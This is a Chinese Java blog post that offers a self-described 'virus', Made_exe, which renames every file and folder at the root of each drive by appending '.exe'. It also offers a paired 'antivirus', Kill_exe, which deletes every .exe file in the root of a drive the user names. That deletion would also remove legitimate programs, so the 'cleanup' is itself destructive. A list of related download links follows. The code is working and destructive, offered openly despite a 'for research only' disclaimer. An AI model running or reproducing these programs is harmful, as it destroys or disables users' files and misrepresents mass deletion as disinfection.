`
明子健
  • 浏览: 574268 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

Java_文件流_更改文件后缀名

    博客分类:
  • Java
阅读更多
//通过在文件名后面添加.exe后缀,达到简单的文件感染目的
//申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷
package com.ming.demo;

import java.io.File;

public class Made_exe {

	public static void main(String[] args) {
		System.out.println("即将感染硬盘......");
		//获取本地硬盘盘符
		File[] roots =File.listRoots();
		for (int i = 0; i < roots.length; i++) {
			File f=new File(roots[i].toString());
			for (int j = 0; j < f.list().length; j++) {
				String fileName=(roots[i].toString()+f.list()[j]);
				File f_old=new File(fileName);
				File f_changeToExe=new File(fileName+".exe");
				if (f_old.renameTo(f_changeToExe)) {
					System.out.println("感染成功!");
				}else {
					System.out.println("感染失败!");
				}
				
			}
		}
	}

}


///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了

package com.ming.demo;

import java.io.File;
import java.util.Scanner;

public class Kill_exe {
	public static void main(String[] args){
		Scanner input =new Scanner(System.in);
		System.out.println("请输入你要查杀的盘符:");
		String diskName=input.next()+":\\";
		File f=new File(diskName);
		if (f.exists()) {
			boolean existsExe=false;
			String[] names=f.list();
			for (int i = 0; i < names.length; i++) {
				//获取文件名
				String fileName=diskName+names[i];
				File f_exe=new File(fileName);
				int start=fileName.lastIndexOf(".")+1;
				//获取后缀名
				String type=fileName.substring(start);
				//匹配EXE
				if (type.equalsIgnoreCase("exe")) {
					existsExe=true;//发现病毒
					//删除病毒
					if (f_exe.delete()) {
						System.out.println("成功删除病毒:"+fileName);
					}else {
						System.out.println("杀毒失败,病毒名:"+fileName);
					}
				}
			}
			if (!existsExe) {
				System.out.println("未发现病毒!");
			}
		}else {
			System.out.println("不存在该盘!");
		}
		System.out.println("按任意键退出......");
		if (input.next()!=null) {
			System.exit(0);
		}

		
	}
}

 

0
0
分享到:
评论

相关推荐

    java修改文件后缀

    java修改文件后缀j

    java导出Word修改后缀名

    java导出文件, freemarker导出word需要ftl文件,java导出Word常见问题。2.TXT修改后缀名为.ftl

    java代码修改图片后缀

    运行本代码就可以修改文件夹内文件后缀。自己根据实际情况修改里面的路径和名字

    java程序 删除半年前的文件 后缀名为csv

    java程序 删除 文件夹里面的文件,用的递归,删除类型文件的后缀名可以修改,时间可以修改等等 仅供参考 下载即可使用 修改路径地址即可,地址在配置文件里面。

    IO流修改目录下文件后缀工具类

    统一修改目录下文件后缀名,IO流的基本操作,递归遍历目录下所有文件,找到符合条件的后缀并修改

    java批量修改文件后缀名方法总结

    在本篇文章里小编给大家分享了关于java批量修改文件后缀名方法和相关知识点,有需要的朋友们学习下。

    文件加密与解密的java代码

    文件名:FileEncrypter.java JDK:1.40以上 说明:文件加密 加密方法:三重DES加密 加密过程:对选中的文件加密后在同文件夹下生成一个增加了".tdes"扩展名的加密文件 (完美加密,更改后缀名也不可以打开)解密过程:...

    java上传文件实例

    //取得后缀名 int file_size=myFile.getSize(); //取得文件的大小 String saveurl=""; if(file_size&lt;file_size_max){ //更改文件名,取得当前上传时间的毫秒数值 //Calendar calendar = Calendar.getInstance(); ...

    基于Java的的文件图片上传-分片上传-断点续传-秒传java源码.zip

    4.图片上传部分:在文件上传部分已有功能的基础上实现了上传前缩略图预览,前台js文件后缀验证,后台代码文件后缀验证和文件类型验证(就算修改后缀名也无法成功上传),支持图片上传前压缩; 5.多选择器多文件上传...

    Java类加密2.0版本,无限制

    注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! 举例说明:例如,本加密工具安装在c:\lanswonsoft\java_protect,执行加密后的CLASS文件的命令行如下: java -agentlib:c:\lanswonsoft\java_...

    java文件注释清除工具

    (如果想支持其他格式的文件,请用"."+格式后缀名替换clear_annot类的103行".txt"); 2.仅支持删除以注释开头的行该行前部的注释;(主要是为了删除jd-gui.exe反编译的文件前部的烦人的注释) 3.创建一个java项目,将该...

    idea设置file mask后缀名的find.xml配置文件

    idea设置file mask后缀名的find.xml配置文件。替换位置:C:\用户名\用户账号\AppData\Roaming\JetBrains\IntelliJIdea2021.1\options下。

    Java类加密程序

    执行java时带上参数 -agentlib:&lt;动态库文件所在路径&gt;\hidea 注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! &lt;br&gt;举例说明:例如,本加密工具安装在c:\hideasoft\java_protect,执行...

    java实现解压zip文件代码实例直接运行

    java实现解压zip文件代码实例直接运行即可,要注意要解压的文件一定是直接压缩成zip然后进行解压直接更改文件后缀名的压缩文件会报错。

    更新1:DES文件加密(适合U盘使用)_java

    更改了加密文件的表示方式,由加后缀.DES变为在原扩展名前加.DES 更改了块长,变为由512k变为512k-1 更改了密钥限制,由8位变为4位,实际加密中不足八位的循环补齐 密钥由显示改为了显示字符*的方式

    Java开发技术大全(500个源代码).

    HelloNative.java 准备调用C函数的java文件 HelloNative.lib 用VC编译生成的静态库文件 HelloNative.obj 用VB编译生成的目标文件 HelloNativeTest.java 测试本地化是否成功的类文件 instanceVar.java 定义一个...

    对于任意一个文件进行压缩,压缩后的文件名为原文件名称去掉后缀加上.hz,例如,原来的未压缩文件的名字为a.txt,压缩后为a.hz

    对于任意一个文件进行压缩,压缩后的文件名为原文件名称去掉后缀加上.hz,例如,原来的未压缩文件的名字为a.txt,压缩后为a.hz,压缩后的文件信息使用TLV结构(TYPE-LENGTH-VALUE),文件信息包括霍夫曼编码码表,...

    java class加密保护工具

    注意此处不要后缀名.dll(或者.so)。 如: windows下执行java: java -agentlib:C:\classloader HelloWorld Linux、Unix等系列操作系统下执行java: java -agentlib:/home/classloader HelloWorld 应用场合: 独立...

    运行Java的class文件方法详解

     注意:CLASS文件名不要带文件后缀.class  例如:  代码如下:  java Test  如果执行的class文件是带包的,即在类文件中使用了:package &lt;包名&gt;  那应该在包的基路径下执行,命令行为:  java &lt;...

    适合java新手入门,最基本的创建窗口

    适合java新手学习的实例文件,可以在安装java的情况下直接运行查看结果,如果想要查看源代码可以更改文件java后缀为txt或者其他文本编辑器后缀,直接双击更改后缀名的文件即可查看源代码,可以以此为基础制作其他...

Global site tag (gtag.js) - Google Analytics